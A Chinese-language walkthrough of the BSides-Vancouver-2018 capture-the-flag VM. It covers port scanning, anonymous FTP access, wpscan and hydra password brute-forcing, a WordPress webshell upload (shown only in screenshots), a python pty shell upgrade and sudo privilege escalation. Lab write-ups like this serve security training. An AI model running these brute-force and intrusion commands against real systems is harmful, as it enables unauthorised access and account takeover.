目录

BSides-Vancouver-2018-ftp匿名访问hydra爆破22端口nc瑞士军刀提权

BSides-Vancouver-2018 ftp匿名访问、hydra爆破22端口、nc瑞士军刀、提权

BSides-Vancouver-2018 ftp匿名访问、hydra爆破22端口、nc瑞士军刀、提权

一、信息收集 2025.3.15 AM 08:50

1、主机发现

arp-scan -l
nmap -sn 192.168.66.24/0

https://i-blog.csdnimg.cn/img_convert/d4d694a0f78ab61abd4a8193c3acd7a3.png

2、端口扫描

简略扫描

nmap -sS -sV 192.168.66.183
简单扫描端口

21/tcp open  ftp     vsftpd 2.3.5
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))

漏洞扫描

nmap --script=vuln -p 21,22,80 192.168.66.183
扫描端口历史漏洞

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /robots.txt: Robots file

详细扫描

nmap -sS -A -T4 -p- 192.168.66.183
详细扫描

21/tcp open  ftp     vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 65534    65534        4096 Mar 03  2018 public
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.66.129
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
|   2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_  256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/backup_wordpress
|_http-title: Site doesn't have a title (text/html).

3、扫描目录

dirb http://192.168.66.183 dirsearch -u http://192.168.66.183/ -e * -i 200 nikto -h 192.168.66.183 -p 80 gobuster dir -u http://192.168.66.183/backup_wordpress/-t30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s 200,301,302

4、端口访问

Ⅰ、21端口

https://i-blog.csdnimg.cn/img_convert/e249b860e964410fa733ac0e2884668e.png

nc 192.168.66.183 21

这里有个匿名访问,我们先尝试连接21端口,我们拿nc连一下

https://i-blog.csdnimg.cn/img_convert/c43008b7281a0ae9f83ddcc2ebe02a6b.png

这里我们连接成功

https://i-blog.csdnimg.cn/img_convert/044f6ff86edb14fdefe8c6711055d161.png

这里我们得到了几个账户,但是还没有密码,我们可以尝试爆破。

用wpscan扫描WordPress,暴破后台用户名
wpscan --url http://192.168.66.183/backup_wordpress --enumerate u

https://i-blog.csdnimg.cn/img_convert/5238582b052b8ac1b9b1bf9320cd290a.png

这两个账户我们再wordpress里面也能找到这两个账户

wpscan --url http://192.168.66.183/backup_wordpress --passwords /usr/share/wordlists/top10000password.txt --usernames john  

https://i-blog.csdnimg.cn/img_convert/a4a8604797816b0bf79659d411571f17.png

这里我们也爆出了账户密码,我们等了一下

Ⅱ、80端口

https://i-blog.csdnimg.cn/img_convert/a73b87e2e5a571b43c778d40663c9b70.png

这里说服务已启动,我们回归目录扫描 我们扫描出来一个robots.txt,然后因该是提示我们有备份文件,我们访问一下

https://i-blog.csdnimg.cn/img_convert/ca154f610189034756951664a05ff755.png

这是一个wordpress备份,按经验来说应该有文件上传点,我们发现了还有一个管理员john

https://i-blog.csdnimg.cn/img_convert/efd8d781b319ba0cc3b29d1a68d44e4b.png

5、隧道建立

https://i-blog.csdnimg.cn/img_convert/9ce079b295c7f9be507d5614098f049e.png

我们登录了一个账户

https://i-blog.csdnimg.cn/img_convert/0f2fcfd874819fa596b84b9becae74d4.png

这里也可以上传木马,或者在插件出上传一句话也可以

https://i-blog.csdnimg.cn/img_convert/284487de103b4ae0999b171e9da34057.png

我们连接到了,先修复一下shell

python -c 'import pty;pty.spawn("/bin/bash")'

6、提权

这里home目录下有几个用户,只有anne这个用户可以ssh连接,我们hydra爆破一下

https://i-blog.csdnimg.cn/img_convert/504a3f9db8c640ad0d8e7ff0b54cdfd6.png

hydra -L 1.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.183 ssh

https://i-blog.csdnimg.cn/img_convert/3cc240c19bae671f63ce48fc6e68d535.png

ok,我们爆破出来了账户密码,我们ssh连接一下

https://i-blog.csdnimg.cn/img_convert/4269bef9ebcbb17f402683dcea42c84a.png

这里我们sudo -l显示我们对所有文件都有root权限,我们直接sudo su root即可

https://i-blog.csdnimg.cn/img_convert/ceb611bee8447bebdcc71315f2077ff6.png

7、扩展

这里还有其他提权方式

1,查找具有777权限的文件

find / -type f -perm 0777 2>/dev/null

关键参数解析:
sudo
以 root 权限执行,避免因目录不可读导致的遗漏(若以普通用户身份运行,可能漏掉大量文件)。
-perm 0777
严格匹配权限为 777 的文件(八进制写法更规范)。
2>/dev/null
忽略所有错误(如权限拒绝、文件不存在等)。

https://i-blog.csdnimg.cn/img_convert/aad801b6a7f9e64f58554c82ed26c8ec.png

后续我也会出更多打靶文章,希望大家关注!谢谢